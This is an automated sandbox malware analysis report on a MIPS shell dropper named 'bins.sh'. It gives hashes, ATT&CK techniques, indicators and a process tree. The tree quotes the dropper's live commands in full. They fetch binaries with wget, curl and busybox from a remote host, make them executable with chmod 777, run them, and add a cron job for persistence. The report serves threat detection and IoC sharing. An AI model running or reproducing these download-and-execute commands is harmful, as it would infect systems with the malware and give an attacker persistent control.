9a53bf01f86ac853771afd03556e8f77e39f9dd808d6714cf6d9e7216a11d8ee

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23-11-2024 19:20

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General

Target

bins.sh
Size

10KB
MD5

33fe30ddea37017dba79d9ff8ccccab6
SHA1

2f46d11d6593800da2664e0f036f47cca85a026c
SHA256

9a53bf01f86ac853771afd03556e8f77e39f9dd808d6714cf6d9e7216a11d8ee
SHA512

eeeeb74e153500910d792b6eec95956975048cbed98855b307dce3dbc19af84f31b51e2cc1be5c6dde44088a8b9069c3bd82c2836bf5ebe1b96fc36ffd859d25
SSDEEP

96:Y1V9IrIHIvakaoa6NFZIEcLsweLMQP+uTHbWUeOALsw12hZSmkoC9v9D9ev3JSLG:ySa/NdxFxev3JSw/Fxev3Jgp

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1295) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
983	chmod
784	chmod
826	chmod
861	chmod
974	chmod
966	chmod
837	chmod
845	chmod
853	chmod
959	chmod

Executes dropped EXE 10 IoCs

Processes:

hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATNh8thNalBVsVsZGzxShbyd3BrADft88FHF5qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t32nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1tVUZen854UwlSjqMByJgMVogO5RprLxy9jChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSnb4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznEFNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1YeicGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0

ioc	pid	Process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	786	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	827	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	838	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	846	2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
/tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j	854	tVUZen854UwlSjqMByJgMVogO5RprLxy9j
/tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn	862	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
/tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE	960	b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
/tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye	967	FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
/tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0	975	icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
/tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0	984	eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0

Renames itself 1 IoCs

Processes:

ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

pid	Process
863	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.oatCSh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSncurlcurl

description	ioc	Process
File opened for reading	/proc/37/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/875/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/877/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/880/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/900/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1072/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1073/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/7/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/150/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/963/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/970/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/992/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1048/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/709/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/894/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/914/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/975/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1059/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1063/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1025/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/22/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/898/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/978/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/979/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1018/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/19/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/111/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/872/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/997/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/70/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/884/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/940/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1044/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1069/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/938/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1070/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/935/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/943/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/3/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/122/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/869/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/879/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/899/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/901/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/996/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1010/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1030/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/74/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/988/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1038/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/945/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/987/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1006/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/928/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/1019/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/878/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/954/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/909/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/917/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/921/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/927/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
File opened for reading	/proc/953/cmdline	ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

System Network Configuration Discovery 1 TTPs 27 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlcurlb4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznEbusyboxcurlcurlwgetbusyboxrmwgetwgetwgetcurlwgetcurlbusyboxbusyboxwgetbusyboxwgetcurlwgetbusyboxbusyboxbusyboxcurl

pid	Process
841	wget
850	curl
842	curl
960	b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
741	busybox
823	curl
831	curl
857	wget
954	busybox
962	rm
872	wget
987	wget
718	wget
732	curl
830	wget
858	curl
860	busybox
965	busybox
791	wget
825	busybox
849	wget
873	curl
963	wget
833	busybox
844	busybox
852	busybox
964	curl

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetwgetbusyboxbusyboxwgetbusyboxbusyboxbusyboxbusyboxcurlcurlcurlwgetbusyboxcurlwgetcurlbusyboxwgetbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j	busybox
File opened for modification	/tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn	wget
File opened for modification	/tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE	busybox
File opened for modification	/tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox
File opened for modification	/tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0	busybox
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl
File opened for modification	/tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j	curl
File opened for modification	/tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn	curl
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	wget
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	curl
File opened for modification	/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1	busybox
File opened for modification	/tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j	wget
File opened for modification	/tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn	busybox
File opened for modification	/tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:789
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:840
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  ./tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm tVUZen854UwlSjqMByJgMVogO5RprLxy9j
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  ./ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:862
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:864
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:865
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:866
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:867
- /bin/rm
  rm ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:954
- /bin/chmod
  chmod 777 b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  ./b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:960
- /bin/rm
  rm b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/chmod
  chmod 777 FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  ./FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye
  2⤵
  PID:969
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  - Reads runtime system information
  PID:971
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  - Writes file to tmp directory
  PID:973
- /bin/chmod
  chmod 777 icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  ./icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  - Writes file to tmp directory
  PID:981
- /bin/chmod
  chmod 777 eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  ./eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F858SeFpv2L164PfkCQIPzhIBCdF7FSKhg
  2⤵
  - System Network Configuration Discovery
  PID:987

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/FNcl3L7XSWJttAeWUwxVAmmxC3eYHXR1Ye

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/eRUeVdL8VHVLLIYupACj9BgeB6Nz7pVLo0

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/icGjEzHoYiKWCajxuJjqPKFGt3CFxNrRl0

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
